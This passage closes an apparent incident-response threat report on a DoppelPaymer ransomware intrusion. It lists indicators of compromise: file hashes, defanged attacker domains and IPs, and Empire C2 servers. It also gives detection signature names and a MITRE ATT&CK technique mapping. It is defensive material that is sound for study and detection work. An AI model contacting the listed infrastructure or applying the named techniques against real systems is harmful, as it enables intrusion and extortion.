    Figure 15: Event log entries related to the uninstallation of AV agents and disablement of real-time monitoring

    The DoppelPaymer ransomware was found in an Alternate Data Stream (ADS) in randomly named files on disk. ADSs are attributes within NTFS that allow for a file to have multiple data streams, with only the primary being visible in tools such as Windows Explorer. After ransomware execution, files are indicated as encrypted by being renamed with a “.locked” file extension. In addition to each “.locked” file, there is a ransom note with the file name “readme2unlock.txt” which provides instructions on how to decrypt files.


    Figure 16: DoppelPaymer ransomware note observed observed during a Mandiant Incident Response investigation

    Ransomware? Not In My House!

    Over the past few years, we have seen ransomware graduate from a nuisance malware to one being used to extort victim networks out of significant sums of money. Furthermore, threat actors are now coupling ransomware with multiple toolkits or other malware families to gain stronger footholds into an environment. In this blog post alone, we witnessed a threat actor move through multiple toolsets - some automated, some manual - with the ultimate goal of holding the victim organization hostage.

    Ransomware also raises the stakes for unprepared organizations as it levels the playing field for all areas of your enterprise. Ransomware proves that threat actors don’t need to get access to the most sensitive parts of your organization – they need to get access to the ones that will disrupt business processes. This widens your attack surface, but luckily, also gives you more opportunity for detection and response. Mandiant recently published an in depth white paper on Ransomware Protection and Containment Strategies, which may help organizations mitigate the risk of ransomware events.

    Indicators

    The following indicator set is a collective representation of artifacts identified during investigations into multiple customer compromises.

    Type

    Indicator(s)

    FakeUpdates Files

    0e470395b2de61f6d975c92dea899b4f

    7503da20d1f83ec2ef2382ac13e238a8

    102ae3b46ddcb3d1d947d4f56c9bf88c

    aaca5e8e163503ff5fadb764433f8abb

    2c444002be9847e38ec0da861f3a702b

    62eaef72d9492a8c8d6112f250c7c4f2

    175dcf0bd1674478fb7d82887a373174
    10eefc485a42fac3b928f960a98dc451
    a2ac7b9c0a049ceecc1f17022f16fdc6

    FakeUpdates Domains & IP Addresses

    <8-Characters>.green.mattingsolutions[.]co
    <8-Characters>.www2.haciendarealhoa[.]com
    <8-Characters>.user3.altcoinfan[.]com
    93.95.100[.]178
    130.0.233[.]178
    185.243.115[.]84

    gnf6.ruscacademy[.]in

    backup.awarfaregaming[.]com

    click.clickanalytics208[.]com

    track.amishbrand[.]com

    track.positiverefreshment[.]org

    link.easycounter210[.]com

    nircmdc.exe

    8136d84d47cb62b4a4fe1f48eb64166e

    Dridex

    7239da273d3a3bfd8d169119670bb745

    72fe19810a9089cd1ec3ac5ddda22d3f
    07b0ce2dd0370392eedb0fc161c99dc7
    c8bb08283e55aed151417a9ad1bc7ad9

    6e05e84c7a993880409d7a0324c10e74

    63d4834f453ffd63336f0851a9d4c632

    0ef5c94779cd7861b5e872cd5e922311

    Empire C2

    185.122.59[.]78

    109.94.110[.]136

    Detecting the Techniques

    FireEye detects this activity across our platforms, including named detections for Dridex, Empire, BitPaymer and DoppelPaymer Ransomware. As a result of these investigations, FireEye additionally deployed new indicators and signatures to Endpoint and Network Security appliances.  This table contains several specific detection names from a larger list of detections that were available prior to this activity occurring.

    Platform

    Signature Name

     

    Endpoint Security

     

    HX Exploit Detection
    Empire RAT (BACKDOOR)
    EVENTVWR PARENT PROCESS (METHODOLOGY)
    Dridex (BACKDOOR)
    Dridex A (BACKDOOR)
    POWERSHELL SSL VERIFICATION DISABLE (METHODOLOGY)
    SUSPICIOUS POWERSHELL USAGE (METHODOLOGY)
    FAKEUPDATES SCREENSHOT CAPTURE (METHODOLOGY)

    Network Security

    Backdoor.FAKEUPDATES
    Trojan.Downloader.FakeUpdate
    Exploit.Kit.FakeUpdate
    Trojan.SSLCert.SocGholish

    MITRE ATT&CK Technique Mapping

    ATT&CK

    Techniques

    Initial Access

    Drive-by Compromise (T1189), Exploit Public-Facing Application (T1190)

    Execution

    PowerShell (T1086), Scripting (T1064), User Execution (T1204), Windows Management Instrumentation (T1047)

    Persistence

    DLL Search Order Hijacking (T1038)

    Privilege Escalation

    Bypass User Account Control (T1088), DLL Search Order Hijacking (T1038)

    Defense Evasion

    Bypass User Account Control (T1088), Disabling Security Tools (T1089), DLL Search Order Hijacking (T1038), File Deletion (T1107), Masquerading (T1036), NTFS File Attributes (T1096), Obfuscated Files or Information (T1027), Scripting (T1064), Virtualization/Sandbox Evasion (T1497)

    Credential Access

    Credential Dumping (T1003)

    Discovery

    Account Discovery (T1087), Domain Trust Discovery (T1482), File and Directory Discovery (T1083), Network Share Discovery (T1135), Process Discovery (T1057), Remote System Discovery (T1018), Security Software Discovery (T1063), System Information Discovery (T1082), System Network Configuration Discovery (T1016), Virtualization/Sandbox Evasion (T1497)

    Lateral Movement

    Remote Desktop Protocol (T1076),  Remote File Copy (T1105)

    Collection

    Data from Local System (T1005), Screen Capture (T1113)

    Command And Control

    Commonly Used Port (T1436), Custom Command and Control Protocol (T1094) ,Data Encoding (T1132), Data Obfuscation (T1001), Remote Access Tools (T1219), Remote File Copy (T1105), Standard Application Layer Protocol (T1071)

    Exfiltration

    Automated Exfiltration (T1020), Exfiltration Over Command and Control Channel (T1041)

    Impact

    Data Encrypted for Impact (T1486), Inhibit System Recovery (T1490), Service Stop (T1489)

    Acknowledgements

    A huge thanks to James Wyke and Jeremy Kennelly for their analysis of this activity and support of this post.